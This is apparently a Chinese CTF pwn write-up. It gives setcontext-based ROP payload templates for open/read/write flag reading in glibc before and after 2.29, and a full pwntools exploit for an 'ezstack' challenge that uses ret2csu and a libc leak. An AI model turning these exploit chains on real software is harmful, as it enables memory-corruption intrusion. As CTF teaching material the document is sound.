先上模版(2.29以前)
payload = p64(pop_rax) + p64(2) # open
payload += p64(syscall) + p64(pop_rdx_rsi)
payload += p64(300) + p64(flagaddr)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rax) + p64(0) # read
payload += p64(syscall) + p64(pop_r13_r14_r15)
payload += p64(0) + p64(flagaddr)
payload += p64(4) + p64(pop_rdi)
payload += p64(1) + p64(pop_rax) # write
payload += p64(1) + p64(syscall)
payload += p64(rsp) + p64(pop_rax)

在更新一个用openat的板子
payload = p64(pop_rax) + p64(257) # openat
payload += p64(pop_rdx) + p64(4)
payload += p64(syscall) + p64(pop_rdx)
payload += p64(0x100) + p64(pop_rdi)
payload += p64(3) + p64(pop_rax) # read
payload += p64(0) + p64(syscall)
payload += p64(pop_r14_r15) + p64(2**64-100)
payload += p64(flagaddr) + p64(pop_rdi)
payload += p64(1) + p64(pop_rax) # write
payload += p64(1) + p64(syscall)
payload += p64(rsp) + p64(pop_rax)
2.29以后
payload = p64(0) + p64(2)
payload += p64(syscall) + p64(pop_r12)
payload += p64(setcontextaddr) + p64(pop_rsi)
payload += p64(flagaddr) + p64(pop_rdi)
payload += p64(3) + p64(pop_rax)
payload += p64(0) + p64(syscall)
payload += p64(pop_r12_r13) + p64(flagaddr)
payload += p64(4) + p64(pop_rax_rdx_rbx)
payload += p64(1) + p64(300)
payload += p64(0) + p64(pop_r12)
payload += p64(rsp) + p64(pop_rax)
payload += p64(1) + p64(pop_rdi)
payload += p64(1) + p64(syscall)

参数讲解(2.29之前,和2.29之后大致相同)
使用前设置rdi指向text的开头
pop系列不必多说,一般而言在泄露出libc后直接用ROPgadget在libc库里寻找,里面啥都有
syscall地址要注意使用的时候加上0x17的偏移

因为搜索到的syscall和真正的syscall汇编指令不同
flag地址一般选取bss段,也可以选择堆块(只要地址已知)
rsp地址要选择rdi+0x8的位置,这很重要,之所以不是rdi指向的位置,是因为在setcontext的源码中,有一句push指令,会导致栈扩大一下

使用方法(2.29以前)
首先在一块可写区域写入上面代码,接着pop rdi使得rdi指向该地址,随后调用setcontext
值得注意的是,一般选用setcontext+53的地址作为返回地址,因为上面的ldmxcsr指令会导致程序无法正常执行下去
在这段payload里,“flag”字符串和flag最终的写入地址是相同的,也就是说,“flag”字符串最终会被flag覆盖
不过使用之前并不需要给flag和text之间留空,因为执行到read的时候,前面的汇编指令已经作废了,被覆盖也没有关系
使用方法(2.29以后)
在调用setcontext之前,要保证rdx指向ROP链起始位置,同时在rsp对应的位置放入数据rdx+8,这点和2.29之前的操作一样,只不过rdi变成了rdx,而rdx通常很难控制,所以经常要用到一段magic gadget来控制
常用magic gadget如下:

可以利用如下命令找到
ROPgadget --binary ./libc.so.6 --only "mov|call"|grep rdx
该命令可以控制rdx的值同时直接调用rdx+0x20位置的函数,故而在上述payload中该位置填放的是setcontext+61,故使用时需要将rdi+8的位置存放payload的起始地址
例题
最后附一道ezstack

程序很简单,只有一个gets,利用思路就是不断地调用csu,泄露libc后打setcontext,完整payload如下
其中seccomp中有一个perror函数,其函数原型
void perror(const char *str);
perror所做的操作是:首先输出str所指向的字符串,接着输出当前全局变量errno代表的错误
perror的工作原理:当一个系统调用或库函数发生错误时,通常会将全局变量errno设置为一个特定的错误码。perror函数读取errno的值,并根据这个值生成相应的错误描述。然后,将错误描述与传入的字符串参数拼接,并输出到标准错误流。(取自CSDN:标准C库函数之perror()、strerror(),以及他们之间各种的优缺点(打印错误信息)-CSDN博客)
简单来说,errno就是一个记录错误的变量,每次有新的错误它会被刷新,不过在这个题中不重要,我们只关注他可以输出str所指向的字符串即可,也就是可以把这个函数当puts用,泄露libc
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
p=process('./pwn')
elf = ELF('./pwn')
gets_got=elf.got['gets']
perror_addr=elf.symbols['perror']
#利用ret2csu设置参数,先调用perror输出gets地址泄露libc,之后直接onegadget
bssaddr=0x6010A0
retaddr=0x00000000004006d6
mainaddr=0x400962
payload1=(p64(0)*2+p64(0x4009fa)+p64(0)+p64(1)+p64(gets_got)+p64(bssaddr)+p64(0)*2+p64(retaddr)+p64(0x4009e0)#把perror地址写入bss
+p64(0)+p64(0)+p64(1)+p64(bssaddr)+p64(gets_got)+p64(0)*2+p64(0x4009e0)#泄露libc
+p64(0)+p64(0)+p64(1)+p64(gets_got)+p64(bssaddr+0x30)+p64(0)*2+p64(0x4009e0)#把setcontext的内容放入
+p64(0)+p64(0)+p64(1)+p64(gets_got)+p64(bssaddr+0x30)+p64(0)*2+p64(retaddr)+p64(mainaddr))
p.sendline(payload1)
p.send(p64(perror_addr))
p.sendline(b'flag\0')
gets_addr=p.recv(6)
gets_addr=u64(gets_addr.ljust(8,b'\x00'))
print('gets_addr:',hex(gets_addr))
libcbase=gets_addr-0x80060
flagaddr=bssaddr+8
pop_rax=0x000000000001b500+libcbase
pop_rdx_rsi_ret=0x0000000000130539+libcbase
pop_rdi=0x000000000002164f+libcbase
pop_r13_r14_r15=0x000000000002164a+libcbase
syscalladdr=gets_addr+0x9b4c0+0x17
print('pop_rax:',hex(pop_rax))
print('pop_rdx_rsi_ret:',hex(pop_rdx_rsi_ret))
print('pop_rdi_ret:',hex(pop_rdi))
print('pop_r13_r14_r15:',hex(pop_r13_r14_r15))
print('syscalladdr:',hex(syscalladdr))
setcontextaddr=gets_addr-0x2e010
payload=p64(pop_rax)+p64(2)#open
payload+=p64(syscalladdr)+p64(pop_rdx_rsi_ret)
payload+=p64(300)+p64(flagaddr)
payload+=p64(pop_rdi)+p64(3)
payload+=p64(pop_rax)+p64(0)#read
payload+=p64(syscalladdr)+p64(pop_r13_r14_r15)
payload+=p64(0)+p64(flagaddr)
payload+=p64(2)+p64(pop_rdi)
payload+=p64(1)+p64(pop_rax)#write
payload+=p64(1)+p64(syscalladdr)
payload+=p64(bssaddr+0x38)+p64(pop_rax)
p.sendline(payload)
# attach(p)
# pause()
payload2=p64(0)*2+p64(pop_rdi)+p64(bssaddr+0x30)+p64(setcontextaddr+0x35)
p.sendline(payload2)
p.interactive()
pwn好难,学web去了
好好好